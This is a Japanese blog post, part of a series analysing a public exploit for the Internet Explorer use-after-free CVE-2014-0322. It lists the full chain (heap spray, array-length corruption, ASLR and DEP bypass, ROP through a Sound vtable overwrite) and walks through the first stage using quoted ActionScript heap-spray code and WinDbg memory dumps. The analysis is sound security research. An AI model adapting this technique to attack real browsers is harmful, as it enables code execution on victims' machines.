Deep Dive into Exploit of Use-After-Free Vulnerability - 2
前回は CVE-2014-0322 の脆弱性そのものについての考察でした。今回から、exploit のコードを見ていきます。何度も同じ URL を掲載しますがコードは、Ruby スクリプトと ActionScript です。
大まかな流れは以下の通り。最後の 14. はまさに ROP chain (ROP=Return Oriented Programming) と言え、とても美しいものです。
- HTML を開く
- SWF がロードされ、ActionScript のコードが実行される
- ActionScript から Heap Spraying を行い、4K 単位でアラインされる配列の配列を確保
- ActionScript から JavaScript の関数を実行し、脆弱性 CVE-2014-0322 を引き起こす
- 脆弱性によって、スプレーしていた配列 1 つの長さが伸びる (000003f0 → 010003f0)
-
- を利用して、その次のページにある配列の長さを 0x3fffffff に変更
長さを変更したページより後の全ての仮想アドレスを ActionScript の配列経由で読み書き可能になる
- を利用して、その次のページにある配列の長さを 0x3fffffff に変更
- メモリ上を検索して、flash.ocx のベースアドレスを見つける
→bypassing ASLR - flash.ocx のインポート テーブルから VirtualProtectStub API のアドレスを取得
→ bypassing DEP - flash.ocx のコード領域で、0xC394 という WORD 値を見つける
- ここまでに取得した数値を使って、偽のスタック領域を作成
- メモリ上を検索して ActionScript の Sound オブジェクトを見つける
- Sound オブジェクトの vtable を書き換える
- ActionScript から Sound.toString() を実行
- call - ret - ret と 3 回ホップした後、ヒープ上に流し込んでおいたペイロードが実行される
なぜかスライドにまとめてあります。(諸般の事情により仕事で使う機会がなくなった・・)決してこのブログのために作ったんじゃないんだからねっ。
http://1drv.ms/XYMqzT
1. Heap Spray からメモリを乗っ取るまで
はじめに、HTML に埋め込まれた EMBED タグによって、swf ファイルがロードされて実行されます。このとき実行されるのは AsXploit クラスのコンストラクターで、そこから呼ばれる init_heap() が Heap Spray を行います。前回見たように、脆弱性によって「書き込み可能な任意の場所の Byte 値をインクリメント」することが可能です。これを利用し、配列の長さを保存している DWORD 値の最上位バイトをインクリメントさせて、本来アクセスできないメモリ領域にも配列経由でアクセスできるようにするのが目的です。Heap Spray の wiki を見ると、NOP slide などのように実行可能なコードをスプレーする手法が書かれていますが、DEP による防御があるので、現在は (少なくとも exploit の最初の段階では) 使えません。
/* Spray the integer array */
this.s = new Vector.(0x18180);
while (len < 0x18180) {
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
for (i=0; i < this.s[len].length; i++) {
this.s[len][i] = 0x1a1a1a1a;
}
++len;
}
上記コードでのポイントは配列の長さ0x1000 / 4 - 16 (=3f0) です。これによって、各 Vector.<uint> がページの先頭にアラインされるようになります。/4 しているのは uint が 4 バイトからです。実際のデータである0x1a1a1a1a の前に、配列の長さである 000003f0 と、下記の例でいえば 07c53000 という DWORD 値が存在するので -2、-16 しているので実データの後にある 56 バイト (^14 * sizeof(uint)) が余ります。これが使われているかどうかは不明。 0x18180 と0x1a1a1a1a は何でもいいはずです。これにより、先頭が 3f0 で始まるページが 0x18180 個できました。
0:028> dd 09151000-40
09150fc0 1a1a1a1a 1a1a1a1a 00000000 00000000
09150fd0 00000000 00000000 00000000 00000000
09150fe0 00000000 00000000 00000000 00000000
09150ff0 00000000 00000000 00000000 00000000
09151000 000003f0 07c53000 1a1a1a1a 1a1a1a1a
09151010 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151020 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09151030 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09152000-40
09151fc0 1a1a1a1a 1a1a1a1a 09151fc0 00000000
09151fd0 09151fc8 00000000 09151fd0 00000000
09151fe0 09151fd8 00000000 09151fe0 00000000
09151ff0 09151fe8 00000000 09151ff0 00000000
09152000 000003f0 07c53000 1a1a1a1a 1a1a1a1a
09152010 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152020 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09152030 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
0:028> dd 09153000-40
09152fc0 1a1a1a1a 1a1a1a1a 00000000 00000000
09152fd0 00000000 00000000 00000000 00000000
09152fe0 00000000 00000000 00000000 00000000
09152ff0 00000000 00000000 00000000 00000000
09153000 000003f0 07c53000 1a1a1a1a 1a1a1a1a
09153010 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153020 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
09153030 1a1a1a1a 1a1a1a1a 1a1a1a1a 1a1a1a1a
ちなみに、3f0 の次の 07c53000 という値、これは何らかのオブジェクトの vtable のように見えます。今回は使っていませんが、ベースアドレスの検索のときには、配列の長さの次の DWORD 値を使ったほうが効率が良くなる気がします。
0:028> dd 07c53000 l8
07c53000 70be22d0 01010000 00000000 07c46080
07c53010 0000be12 00000000 000d471e 00000000
0:028> dd 70be22d0
70be22d0 70a06d00 70a0b5a0 70a06d30 70a0abc0
70be22e0 2e63672e 6c6c6f43 00746365 2e63672e
70be22f0 6c6c6f43 69746365 6f576e6f 00006b72
70be2300 2e63672e 65657753 00000070 6d656d5b
70be2310 7773205d 2d706565 72617473 00000a74
70be2320 6f666542 73206572 70656577 6d656d20
70be2330 2079726f 6f666e69 00000a3a 65746641
70be2340 77732072 20706565 6f6d656d 69207972
0:028> u 70a06d00
Flash!IAEModule_AEModule_PutKernel+0x384620:
70a06d00 55 push ebp
70a06d01 8bec mov ebp,esp
70a06d03 56 push esi
70a06d04 8bf1 mov esi,ecx
70a06d06 e8d5faffff call Flash!IAEModule_AEModule_PutKernel+0x384100 (70a067e0)
70a06d0b f6450801 test byte ptr [ebp+8],1
70a06d0f 7409 je Flash!IAEModule_AEModule_PutKernel+0x38463a (70a06d1a)
70a06d11 56 push esi
0:028> u 70a0b5a0
Flash!IAEModule_AEModule_PutKernel+0x388ec0:
70a0b5a0 55 push ebp
70a0b5a1 8bec mov ebp,esp
70a0b5a3 83ec18 sub esp,18h
70a0b5a6 a13080d070 mov eax,dword ptr [Flash!IAEModule_IAEKernel_UnloadModule+0x2ce390 (70d
08030)]
70a0b5ab 33c5 xor eax,ebp
70a0b5ad 8945fc mov dword ptr [ebp-4],eax
70a0b5b0 837d0c00 cmp dword ptr [ebp+0Ch],0
70a0b5b4 56 push esi
0:028> !address 70be22d0
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...
Usage: Image
Base Address: 70a50000
End Address: 70c38000
Region Size: 001e8000
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Type: 01000000 MEM_IMAGE
Allocation Base: 700c0000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: C:\Windows\System32\Macromed\Flash\Flash.ocx
Module Name: Flash
Loaded Image Name: Flash.ocx
Mapped Image Name:
More info: lmv m Flash
More info: !lmi Flash
More info: ln 0x70be22d0
More info: !dh 0x700c0000
あとは、脆弱性を引き起こして 3f0 を 010003f0 にするだけなのですが、どのアドレスの値をインクリメントすればいいのでしょうか。これは面白いことに決め打ちされていて、1a000000 です。JavaScript のコードに 0x19fffff3 という値がハードコードされており、+10 されたところのバイトがインクリメントされるので、1a000003、すなわち 1a000000 にある 000003f0 が 010003f0 になります。
Heap Spray 後の iexplore.exe の VMMap
スライドにも含めていますが、HeapSpray 後の iexplore.exe の VMMap を取ってみました。黄色の部分が Private Data で、ほとんどが init_heap() でスプレーされた部分です。紫の部分がロードされたイメージ データです。上が 0x00000000 で下が 0x7fffffff なので、スプレーされた部分は、メモリの空き領域の先頭から順番に埋められているように見え、イメージデータは 0x7fffffff に比較的近いところにまとまっているように見えます。この配置が Windows のどういう動作に起因するものなのかはまだ調べきれていません。今回の exploit は、配列の長さを変更してメモリ領域への制御を乗っ取るので、制御可能な領域を下に伸ばすことはできても、上に伸ばすことはできません。もし、イメージデータがメモリ全体に均等に分散していたり、Private Data よりも上に固まっていたら、今回の exploit は不可能です。素人目には、ASLR でイメージデータがもっと均等に分散された方がセキュアな気がするのですが、そのへんについては後で軽く調べておきたいところです。
0:028> s -q 0 l1000000 07c53000`000003f0
07c55000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c99000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9b000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07c9c000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d14000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d64000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d65000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d66000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d68000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d69000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
07d6a000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
0:028> s -q 10000000 l1000 07c53000`000003f0
10000000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10001000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10002000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10003000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10004000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10005000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10006000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
10007000 07c53000`000003f0 1a1a1a1a`1a1a1a1a
3f0 と vtable のアドレスをもとにメモリを検索すると、最初のアドレスは07c55000 でした。これはメモリの状態に依存しますが、概ね 07000000 前後から始まります。ただし最初の方では、別の用途で使われている Private Data もあるので、3f0 で始まるページは飛び飛びになっています。それが、10000000 を超えたあたりでは、すべてのページがスプレーされたものになっています。脆弱性で書き換える部分は 10000000 でも問題なさそうですが、十分に余裕を見て 1a000000 を選んだ、ということでしょうか。何せ 3f0 で始まるページは配列の長さの 0x18180 個あるので、概算で 07000000+18180000=1f180000 あたりまでのアドレスならどれでも選べます。後半の方が高確率で 3f0 開始ページになるので、1a000000 は確かに妥当に思えます。
さて、init_heap() はもう一つ Sound オブジェクトの二次元配列を作ります。これは exploit の最終段階で使います。ここでのポイントは、0x1234 という長さにあります。Sound オブジェクトの vtable を書き換えるため、Sound オブジェクトのある場所を探索するのですが、0x00001234 という配列の長さを利用して Sound オブジェクトの配列を特定し、vtable を見つけます。配列の長さとしては何を使ってもいいのですが、特徴的な値として 0x1234 を選んだのでしょう。
/* Spray sound object ptr */
this.sound = new Sound();
this.spraysound = new Vector.(0x100);
len = 0;
while (len < 0x100) {
this.spraysound[len] = new Vector.(0x1234);
for (i=0; i < this.spraysound[len].length; i++) {
this.spraysound[len][i] = this.sound;
}
++len;
}
init_heap() で Heap Spray が終わると、ExternalInterface.call() を使って JavaScript の関数を呼び出し、脆弱性を実行します。これには少し時間がかかるので、タイマーを使って 1 秒毎に、0x18180 ある配列のうち、どれか一つが 0100003f0 に変わっているかどうかを確認します。0100003f0 になっている配列を見つけたら、すかさずそのインデックスを記録し、タイマーを止めてから corruptNextVector() を呼び出します。この corruptNextVector() は単純で、配列の要素をチェックして、000003f0 があったら 3fffffff に変更するだけです。配列の要素はすべて 0x1a1a1a1a で初期化したはずですが、脆弱性によって配列が “延長” されているため、次の配列の長さを保持する DWORD 値に対して、配列からアクセスすることができるのです。前述のように、1a000000 前後では基本的に全てページが 3f0 の配列で埋められているので、ここで 3fffffff をセットする位置は、1a000000 の次のページである 1a001000 になるはずです。汎用性を気にしないとしたら、corruptNextVector() を使わなくても、this.s[i][0x1000/4-2]=0x3FFFFFFF で同じことが実行できるはずです。3fffffff をセットしたら、getCorruptedVectorIndex() を使って、長さが 3fffffff になっている配列のインデックスを取得します。ここまでで、配列を使って0x1a000008 以降の任意のメモリへのアクセスが可能になりました。
少々短いですが、今回はここまで。